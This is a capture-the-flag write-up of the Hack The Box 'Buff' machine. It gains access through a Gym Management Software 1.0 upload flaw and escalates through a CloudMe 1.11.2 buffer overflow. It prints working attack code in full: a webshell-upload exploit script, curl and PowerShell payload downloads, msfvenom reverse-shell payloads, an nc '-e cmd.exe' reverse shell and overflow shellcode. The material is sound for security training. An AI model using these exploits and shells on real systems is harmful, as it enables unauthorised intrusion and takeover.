writeup 2025-12-10 · 8 min read

Hack The Box Buff Writeup (Easy Windows)

Easy Windows box. Gym Management 1.0 gives unauthenticated RCE as shaun, and a CloudMe 1.11.2 buffer overflow reached over chisel gives administrator.

Hack The Box Buff Writeup (Easy Windows)

Summary

Buff is an easy Windows machine running a gym website on port 8080 whose title leaks the username mrb3n and whose pages identify it as Gym Management Software 1.0. The first search result for that version is a public unauthenticated remote code execution exploit, which after a small port to Python 3 gives command execution as buff\shaun through the upload directory. Getting a shell back is awkward: PowerShell downloads and msfvenom executables both fail, but curl pulls ncat.exe onto the box and nc.exe with -e cmd.exe returns a shell. Enumerating shaun’s home directory with tree /f turns up CloudMe_1112.exe in Downloads, a version with a known buffer overflow that listens only on localhost port 8888. Chisel forwards that port back to the attacking machine, the public exploit is rebuilt with fresh msfvenom shellcode, and running it through proxychains returns a shell as administrator.

Service Enumeration

I ran an nmap scan against the machine. It yielded the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Nmap 7.93 scan initiated Sat Nov  1 19:50:57 2025 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 -T4 -Pn 10.129.25.187
Nmap scan report for 10.129.25.187
Host is up, received user-set (0.13s latency).
Scanned at 2025-11-01 19:50:57 -03 for 108s
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON  VERSION
7680/tcp open  pando-pub? syn-ack
8080/tcp open  http       syn-ack Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov  1 19:52:45 2025 -- 1 IP address (1 host up) scanned in 107.57 seconds

Web Server Enumeration

The web server on port 8080 offers the option to log in. Also, the webpage title leaks a potential username (mrb3n), as you can see from the screenshot below:

Buff web application on port 8080 whose page title leaks the username mrb3n

Looking through the pages, I note important information like the fact that the server uses PHP on the back-end and also a potential software version (Gym Management Software 1.0)

Page identifying the software as Gym Management Software 1.0

Initial Access - Remote Code Execution: Gym Management System

The first thing that shows up when I google for **Gym Management Software 1.0 **is the following public exploit:

Exploit Database entry for the Gym Management Software 1.0 remote code execution

I saved the exploit to my local machine and executed it, to find that it’s written in python2. I made slight adjustments to the exploit, resulting in the following script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print(Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except Exception as e:
        print(f"\r\nExiting {e}.")
        sys.exit(-1)

def formatHelp(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
    BL   = Style.BRIGHT+Fore.GREEN
    RS   = Style.RESET_ALL
    FR   = Fore.RESET
    SIG  = BL+'            /\\\n'+RS
    SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
    SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
    SIG += BL+'            \/'+RS+'\n'
    return SIG

if __name__ == "__main__":
    print(header());
    if len(sys.argv) != 2:
        print(formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
        print(formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0]))
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'file': 
                  (
                    'kaio-ken.php.png', 
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_REQUEST["telepathy"]); ?>', 
                    'image/png', 
                    {'Content-Disposition': 'form-data'}
                  ) 
              }
    fdata   = {'pupload': 'upload'}
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)

I executed my version of the exploit:

1
python3 exploit.py http://10.129.2.18:8080/

And it worked, as you can see from the screenshot below:

In order to get a reverse shell, I tried a few things including a powershell base64 encoded payload from revshells.com:

Tried commands like so:

1
2
3
4
powershell -e <base64 blob>
powershell.exe -e <base64 blob>
cmd.exe /c "powershell -e <base64 blob>"
cmd.exe /c "powershell -ep bypass -e <base64 blob>"

Then I tried generating a windows executable to get a shell:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.57 LPORT=1337 -f exe -o evil.exe

Then uploading it with:

1
2
3
cmd.exe /c "powershell iwr 10.10.14.57/evil.exe -outfile evil.exe"
cmd.exe /c "powershell iwr -uri http://10.10.14.57/evil.exe -outfile evil.exe"
powershell Invoke-WebRequest -uri 10.10.14.57/evil.exe -outfile evil.exe

But the file was never fetched from my server, it only worked when I used “curl”. The web server running on my machine was set up like so:

1
sudo python3 -m http.server 80

Then I used:

1
C:\xampp\htdocs\gym\upload> curl 10.10.14.57/evil.exe -o evil.exe

And started my listener on port 1337, but I couldn’t make the machine execute “evil.exe”. Then I did resort to netcat. I uploaded ncat.exe pre-compiled binary to the machine with:

1
C:\xampp\htdocs\gym\upload> curl 10.10.14.57/ncat.exe -o nc.exe

Then set up the listener on my machine:

1
rlwrap nc -lvnp 1234

And run on the victim machine:

1
.\nc.exe 10.10.14.57 1234 -e cmd.exe

It instantly lands me a reverse shell connection on the box:

1
2
3
4
5
connect to [10.10.14.57] from (UNKNOWN) [10.129.2.18] 49731
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>

Vertical Privilege Escalation

I got a shell in the system as “buff\shaun”. I located its home folder in C:\users and began enumerating with “tree /f”:

treef listing of shaun's home directory, with CloudMe_1112.exe sitting in Downloads

Beyond tasks.bat (not relevant at all), there’s a unusual “CloudMe_1112.exe” file in shaun’s downloads folder. I google for this and literally all first results are about the same vulnerability (CloudMe 1.11.2 - Buffer Overflow (PoC)):

Search results for CloudMe 1.11.2, all pointing at the same buffer overflow PoC

I downloaded a public exploit to my attacking machine. The exploit is very simple, it connects to localhost on port 8888 (where CloudMe application is listening) and exploits a buffer overflow vulnerability with a payload from msfvenom:

The public CloudMe 1.11.2 exploit, connecting to localhost on port 8888

The machine is unlikely to have python installed though, it’s not common to see python installed on windows machines. I use the example msfvenom syntax on the exploit to generate my own shellcode:

1
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.57 LPORT=1338 -b '\x00\x0A\x0D' -f python

msfvenom generating x86 reverse shell shellcode with the bad characters excluded

I replace “payload” in the exploit for my generated shellcode:

Generated shellcode pasted over the payload variable in the exploit script

My final, modified exploit looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
buf =  b""
buf += b"\xbb\x8e\xb6\x90\x82\xdb\xd8\xd9\x74\x24\xf4\x5f"
buf += b"\x29\xc9\xb1\x52\x31\x5f\x12\x03\x5f\x12\x83\x49"
buf += b"\xb2\x72\x77\xa9\x53\xf0\x78\x51\xa4\x95\xf1\xb4"
buf += b"\x95\x95\x66\xbd\x86\x25\xec\x93\x2a\xcd\xa0\x07"
buf += b"\xb8\xa3\x6c\x28\x09\x09\x4b\x07\x8a\x22\xaf\x06"
buf += b"\x08\x39\xfc\xe8\x31\xf2\xf1\xe9\x76\xef\xf8\xbb"
buf += b"\x2f\x7b\xae\x2b\x5b\x31\x73\xc0\x17\xd7\xf3\x35"
buf += b"\xef\xd6\xd2\xe8\x7b\x81\xf4\x0b\xaf\xb9\xbc\x13"
buf += b"\xac\x84\x77\xa8\x06\x72\x86\x78\x57\x7b\x25\x45"
buf += b"\x57\x8e\x37\x82\x50\x71\x42\xfa\xa2\x0c\x55\x39"
buf += b"\xd8\xca\xd0\xd9\x7a\x98\x43\x05\x7a\x4d\x15\xce"
buf += b"\x70\x3a\x51\x88\x94\xbd\xb6\xa3\xa1\x36\x39\x63"
buf += b"\x20\x0c\x1e\xa7\x68\xd6\x3f\xfe\xd4\xb9\x40\xe0"
buf += b"\xb6\x66\xe5\x6b\x5a\x72\x94\x36\x33\xb7\x95\xc8"
buf += b"\xc3\xdf\xae\xbb\xf1\x40\x05\x53\xba\x09\x83\xa4"
buf += b"\xbd\x23\x73\x3a\x40\xcc\x84\x13\x87\x98\xd4\x0b"
buf += b"\x2e\xa1\xbe\xcb\xcf\x74\x10\x9b\x7f\x27\xd1\x4b"
buf += b"\xc0\x97\xb9\x81\xcf\xc8\xda\xaa\x05\x61\x70\x51"
buf += b"\xce\x84\x8f\x57\x37\xf1\x8d\x67\x42\x3b\x1b\x81"
buf += b"\x26\x2b\x4d\x1a\xdf\xd2\xd4\xd0\x7e\x1a\xc3\x9d"
buf += b"\x41\x90\xe0\x62\x0f\x51\x8c\x70\xf8\x91\xdb\x2a"
buf += b"\xaf\xae\xf1\x42\x33\x3c\x9e\x92\x3a\x5d\x09\xc5"
buf += b"\x6b\x93\x40\x83\x81\x8a\xfa\xb1\x5b\x4a\xc4\x71"
buf += b"\x80\xaf\xcb\x78\x45\x8b\xef\x6a\x93\x14\xb4\xde"
buf += b"\x4b\x43\x62\x88\x2d\x3d\xc4\x62\xe4\x92\x8e\xe2"
buf += b"\x71\xd9\x10\x74\x7e\x34\xe7\x98\xcf\xe1\xbe\xa7"
buf += b"\xe0\x65\x37\xd0\x1c\x16\xb8\x0b\xa5\x26\xf3\x11"
buf += b"\x8c\xae\x5a\xc0\x8c\xb2\x5c\x3f\xd2\xca\xde\xb5"
buf += b"\xab\x28\xfe\xbc\xae\x75\xb8\x2d\xc3\xe6\x2d\x51"
buf += b"\x70\x06\x64"

payload = buf

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)

I use my shell as shaun to upload Chisel.exe to the machine and set up a reverse socks5 proxy by first setting up the server on my attacking machine:

1
nohup ./chisel server --reverse --socks5 -p 1337 &

Then on the victim machine starting powershell:

1
C:\Users\shaun\Documents>powershell

And using chisel as a background task:

1
Start-Process -FilePath ".\chisel.exe" -ArgumentList "client 10.10.14.57:1337 R:socks" -WindowStyle Hidden

Now I start a netcat listener on port 1338 (the one I chose for the buffer overflow payload above):

1
nc -lvnp 1338

And execute the exploit using proxychains4:

1
2
3
4
5
$ proxychains4 python3 48389.py 
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8888  ...  OK

Mind you, proxychains4 must be properly configured to use chisel’s socks5 proxy:

1
2
3
4
5
6
7
8
9
10
11
$ tail /etc/proxychains4.conf 
#       proxy types: http, socks4, socks5, raw                                       
#         * raw: The traffic is simply forwarded to the proxy without modification.  
#        ( auth types supported: "basic"-http  "user/pass"-socks )                   
#                                                                                    
[ProxyList]                                                                          
# add proxy here ...                                                                 
# meanwile                                                                           
# defaults set to "tor"                                                              
#socks4         127.0.0.1 9050                                                       
socks5 127.0.0.1 1080

Specifically, add “socks5 127.0.0.1 1080” to /etc/proxychains4.conf

The exploit works, and now I have a shell in the system as “administrator”:

Shell running as administrator after the CloudMe exploit is run through proxychains

This post is licensed under CC BY 4.0 by the author.